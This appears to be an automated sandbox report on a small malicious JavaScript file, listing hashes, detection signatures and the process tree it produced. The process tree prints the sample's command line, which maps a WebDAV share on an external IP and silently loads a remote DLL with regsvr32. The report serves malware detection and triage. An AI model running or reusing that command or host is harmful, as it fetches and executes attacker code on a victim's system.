Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
21-07-2024 17:45
Static task
static1
Behavioral task
behavioral1
Sample
3970163678517367.js
Resource
win7-20240708-en
windows7-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
3970163678517367.js
Resource
win10v2004-20240704-en
windows10-2004-x64
5 signatures
150 seconds
General
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Target
3970163678517367.js
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Size
4KB
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MD5
bc1c185c53de65a61ad3413cb39017d5
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SHA1
c3ed401d7ee55eda7da41fcf024c096432dec356
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SHA256
7defa6c1e9a4243af7ab11d88635d660f7543359d596593fa4473ccae9aacc30
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SHA512
a3e426025d81e86a425463cfb6b6660bf3d0c48c85b34224b706b54244a2d8ab078ff9d48c0a2dbc9484bcced75b2c334399ea24afc3c4ae353724d225b768e4
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SSDEEP
96:z/79dw3mMj0Zwzr1aCpnRiHmR1ad1aX0myYSlc+1WP1aX0myn1aZTmCDS1aRJzCv:zj9dVLaVLDemZNSC9mZs/CggCnAkvUH8
Score
3/10
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2852 wrote to memory of 2912 2852 wscript.exe 30 PID 2852 wrote to memory of 2912 2852 wscript.exe 30 PID 2852 wrote to memory of 2912 2852 wscript.exe 30 PID 2912 wrote to memory of 2236 2912 cmd.exe 32 PID 2912 wrote to memory of 2236 2912 cmd.exe 32 PID 2912 wrote to memory of 2236 2912 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3970163678517367.js1⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\6254308077500.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2236
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